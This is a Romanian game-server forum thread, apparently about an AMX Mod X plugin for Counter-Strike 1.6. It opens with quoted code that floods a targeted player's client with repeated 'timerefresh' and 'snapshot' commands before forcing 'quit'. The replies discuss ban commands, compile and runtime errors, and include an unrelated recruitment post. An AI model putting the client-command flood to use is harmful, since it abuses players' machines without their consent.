			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
			client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
			client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
			client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
			client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
			client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
			client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
			client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
			client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
			client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
			client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
			client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
			client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
			client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
			client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
			client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
			client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
			client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
			client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
			client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
			client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
			client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
			client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")		
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator, "quit")
			return;
		}
	}
}
public Cronometru(id){
	new parm[1]
	parm[0] = id
	if (ComandaB){
		set_task(3.0,"TimpDeAsteptare",Baza+id,parm)
	}
}
public TimpDeAsteptare(id){
	if (task_exists(Baza+id)){
		remove_task(Baza+id)
	}
	ComandaB = false
}

stock IncarcareServer(){
	get_configsdir(DirectorServer, 63)
	format(FisierServer,127,"%s/servit.q",DirectorServer)
	if (!file_exists(FisierServer)){
		return PLUGIN_HANDLED
	}
	else {
		
		read_file(FisierServer,0,TextServer,LimbaServer,r)
		
		SalvareServer = str_to_num(TextServer)
	}
	return PLUGIN_CONTINUE
	
}
stock ScriereServer(){
	get_configsdir(DirectorServer, 63)
	format(FisierServer,127,"%s/servit.q",DirectorServer)
	if (!file_exists(FisierServer)){
		return PLUGIN_HANDLED
	}
	else {
		
		read_file(FisierServer,0,TextServer,LimbaServer,t)
		
		
		SalvareServer = str_to_num(TextServer)
		SalvareServer = SalvareServer + 1
		format(TextServer,31,"%i",SalvareServer)
		delete_file(FisierServer)
		write_file(FisierServer,TextServer,-1)
	}
	return PLUGIN_CONTINUE
}
/* AMXX-Studio Notes - DO NOT MODIFY BELOW HERE
*{ rtf1 ansi deff0{ fonttbl{ f0 fnil Tahoma;}}n viewkind4 uc1 pard lang1033 f0 fs16 n par }
*/[/code][/quote]


ai adaugat prea multe comenzi.. si jucatorul v-a primi kick la primele 100 executate cu eroarea Realiable Channel Overflowed ;)
Caut o persoana dedicata care se pricepe si stie ce face.
Vreau sa creeze si sa se ocupe de administrarea unui server de MU, da e vorba de vechiul joc..ma gandesc undeva la un season 3 ep1/2.

O sa achizitionez un domeniu .ro.
Totodata sponsorizez absolut orice este necesar.
Ma puteti contacta prin: http://solo.to/stfrzv
User avatar
Raul
Fost administrator
Fost administrator
Posts: 2339
Joined: 03 Feb 2012, 11:33
Detinator Steam: Da
SteamID: /id/raulll
Reputatie: Fost administrator
Location: Germany
Has thanked: 44 times
Been thanked: 121 times

25 Aug 2012, 15:07

Frumos! Felicitari.
User avatar
EpsiloN
Membru, skill 0
Membru, skill 0
Posts: 88
Joined: 16 Sep 2013, 19:42
Detinator Steam: Da
CS Status: OnLine
Detinator server CS: EpsiloN's Server
SteamID: godskilled
Location: Brăila
Has thanked: 72 times
Been thanked: 5 times
Contact:

04 Jan 2014, 00:38

Ai putea inlocui:

Code: Select all

//Baneaza jucatorul permanent
   client_cmd(id, "amx_addban ^"%s^" permanent LeaveGame", ip)
cu:

Code: Select all

//Baneaza jucatorul permanent
   server_cmd("addip %s 0 ^"[LG] Jucator codat^";wait;writeip", ip)
Lux0R^
Scripter eXtreamCS
Scripter eXtreamCS
Posts: 1222
Joined: 13 Jul 2013, 16:31
Detinator Steam: Da
Reputatie: Scripter eXtreamCS
Moderator ajutator
Has thanked: 15 times
Been thanked: 12 times

04 Jan 2014, 03:29

pluginul e ok.. dar nu e nimic stralucit, sunt sute de comenzi exact ca acesta.
Pauza pana in iulie... licenta ^^

Fara pm-uri pentru pluginuri de zm/furien + tot ce tine de vip.

Codul Scripterului: scripting/codul-scripterului-t362300.html#p2754224
User avatar
pgvd
Membru, skill +1
Membru, skill +1
Posts: 212
Joined: 15 Dec 2013, 23:15
Detinator Steam: Da
Has thanked: 36 times
Been thanked: 1 time
Contact:

04 Jan 2014, 14:43

foarte bun pluginul.
mast3rwap
Membru, skill +1
Membru, skill +1
Posts: 324
Joined: 11 Feb 2012, 21:32
Detinator Steam: Da
CS Status: Citesc forumul eXtreamCS.com...!
Detinator server CS: da
SteamID: berlo1990
Location: italia
Has thanked: 30 times
Been thanked: 5 times
Contact:

07 Jan 2014, 15:33

Are eroare la compilare

Code: Select all

/bin/amxx-1.8.2/include/core.inc(13)
dracushorul
Membru, skill 0
Membru, skill 0
Posts: 3
Joined: 12 Oct 2014, 09:46
Detinator Steam: Da
CS Status: Citesc forumul eXtreamCS.com...!
Fond eXtream: 0
Contact:

12 Oct 2014, 18:29

IMI poate spune si mie cineva de ce imi da eroarea asta?
Function is not present (function "xs") (plugin "amx_leavegame.amxx")
[AMXX] Displaying debug trace (plugin "amx_leavegame.amxx")
[AMXX] Run time error 10: native error (native "set_task")
[AMXX] [0] textgnjUSJ.sma::leavegame (line 135)
Post Reply

Return to “Pluginuri eXtream”

  • Information
  • Who is online

    Users browsing this forum: No registered users and 9 guests